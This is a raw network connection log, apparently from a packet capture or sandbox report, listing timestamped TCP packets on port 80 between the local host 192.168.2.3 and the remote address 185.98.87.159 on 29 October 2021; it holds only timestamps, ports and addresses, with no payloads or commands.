Oct 29, 2021 20:29:11.279829025 CEST	49811	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:11.279871941 CEST	49811	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:11.358449936 CEST	80	49811	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:11.358638048 CEST	49811	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:11.458161116 CEST	49811	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:11.510597944 CEST	80	49811	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.701654911 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:12.754863024 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.755021095 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:12.763607979 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:12.763710022 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:12.816833973 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.844089985 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.844131947 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.844197035 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.844230890 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.844254971 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:12.844288111 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.844305992 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:12.844322920 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.844362020 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.844381094 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.844400883 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:12.844408989 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.844417095 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:12.844434977 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.844479084 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:12.897613049 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.897644997 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.897661924 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.897685051 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.897718906 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:12.897722006 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.897738934 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.897747040 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:12.897751093 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.897763968 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.897779942 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.897798061 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.897818089 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:12.897854090 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:12.897859097 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.897882938 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.897898912 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.897912025 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.897943020 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:12.897953987 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.897972107 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:12.897973061 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.898011923 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.898024082 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:12.898029089 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.898070097 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.898078918 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:12.898087978 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.898137093 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:12.951129913 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.951159954 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.951180935 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.951201916 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.951219082 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.951250076 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.951266050 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.951281071 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.951296091 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.951344013 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.951359987 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.951381922 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.951406002 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.951432943 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.951457024 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.951476097 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.951505899 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.951528072 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.951543093 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.951555014 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:12.951559067 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.951602936 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:12.951608896 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.951634884 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.951651096 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.951673031 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.951675892 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:12.951688051 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.951704025 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.951715946 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:12.951741934 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:12.951792002 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.951807976 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.951823950 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.951841116 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.951886892 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.951894999 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:12.951915979 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.951945066 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.951956034 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:12.951971054 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.951987982 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.952004910 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.952040911 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:12.952044964 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.952069044 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.952091932 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.952107906 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:12.952110052 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:12.952150106 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:12.969523907 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:12.970216990 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:13.004930973 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.004962921 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.004995108 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.005012035 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.005012989 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:13.005029917 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.005050898 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.005053997 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:13.005079985 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.005091906 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:13.005108118 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.005124092 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.005140066 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.005142927 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:13.005156040 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.005171061 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.005178928 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:13.005208969 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:13.005343914 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.005374908 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.005397081 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.005412102 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.005417109 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:13.005428076 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.005443096 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.005454063 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:13.005482912 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:13.006002903 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.006046057 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.006071091 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.006083965 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:13.006105900 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.006128073 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.006140947 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:13.006160021 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.006184101 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.006194115 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:13.006215096 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.006249905 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.006249905 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:13.006269932 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.006294966 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.006316900 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.006320000 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:13.006341934 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.006359100 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:13.006365061 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.006401062 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:13.011826038 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:13.016486883 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:13.022658110 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.022686958 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.022769928 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:13.023350954 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.023395061 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.023416042 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.023437977 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.023438931 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:13.023458958 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.023480892 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.023490906 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:13.023521900 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:13.023945093 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.023983002 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.023999929 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.024036884 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.024056911 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:13.024059057 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.024080038 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.024084091 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:13.024104118 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.024122953 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:13.024126053 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.024148941 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.024189949 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:13.065414906 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.065448046 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.065468073 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:13.065466881 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:13.065507889 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:13.065577984 CEST	49812	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:13.118736982 CEST	80	49812	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:14.796555996 CEST	49813	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:14.849122047 CEST	80	49813	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:14.849558115 CEST	49813	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:14.849685907 CEST	49813	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:14.850936890 CEST	49813	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:14.902406931 CEST	80	49813	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:14.903369904 CEST	80	49813	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:14.932533979 CEST	80	49813	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:14.932652950 CEST	49813	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:14.937361956 CEST	49813	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:14.989846945 CEST	80	49813	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:14.995266914 CEST	49814	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.048863888 CEST	80	49814	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.048964024 CEST	49814	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.049125910 CEST	49814	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.049137115 CEST	49814	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.130637884 CEST	80	49814	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.131454945 CEST	49814	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.166992903 CEST	49814	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.198169947 CEST	49815	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.220549107 CEST	80	49814	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.251771927 CEST	80	49815	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.252022982 CEST	49815	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.252065897 CEST	49815	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.252070904 CEST	49815	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.331398964 CEST	80	49815	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.333467007 CEST	49815	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.341561079 CEST	49815	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.395066023 CEST	80	49815	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.406090021 CEST	49816	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.459705114 CEST	80	49816	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.459836960 CEST	49816	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.459970951 CEST	49816	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.459988117 CEST	49816	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.513772964 CEST	80	49816	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.540375948 CEST	80	49816	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.540493011 CEST	49816	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.540677071 CEST	49816	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.573482037 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.593943119 CEST	80	49816	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.627093077 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.627279043 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.627403021 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.627413034 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.708833933 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.708868980 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.708887100 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.708903074 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.708918095 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.708933115 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.708957911 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.708973885 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.708991051 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.709007978 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.709017038 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.709060907 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.709065914 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.709069967 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.762548923 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.762573004 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.762586117 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.762603045 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.763128996 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.763153076 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.763169050 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.763185978 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.763212919 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.763242006 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.763245106 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.763247013 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.763364077 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.763382912 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.763400078 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.763413906 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.763452053 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.763457060 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.763468027 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.763487101 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.763501883 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.763519049 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.763617992 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.763622999 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.763623953 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.763641119 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.763658047 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.763673067 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.763705015 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.763736010 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.816718102 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.816742897 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.816768885 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.816798925 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.816804886 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.816817045 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.816834927 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.816906929 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.816929102 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.816948891 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.816965103 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.816972017 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.816984892 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.816997051 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.817018986 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.817020893 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.817043066 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.817059994 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.817075968 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.817086935 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.817092896 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.817110062 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.817128897 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.817145109 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.817148924 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.817152977 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.817162991 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.817179918 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.817195892 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.817198038 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.817209005 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.817229033 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.817241907 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.817261934 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.817264080 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.817282915 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.817293882 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.817303896 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.817321062 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.817337036 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.817343950 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.817383051 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.817400932 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.817416906 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.817473888 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.817478895 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.817498922 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.817806959 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.817827940 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.817843914 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.817861080 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.817878008 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.817893982 CEST	80	49817	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:15.817903042 CEST	49817	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:15.817909002 CEST	49817	80	192.168.2.3	185.98.87.159
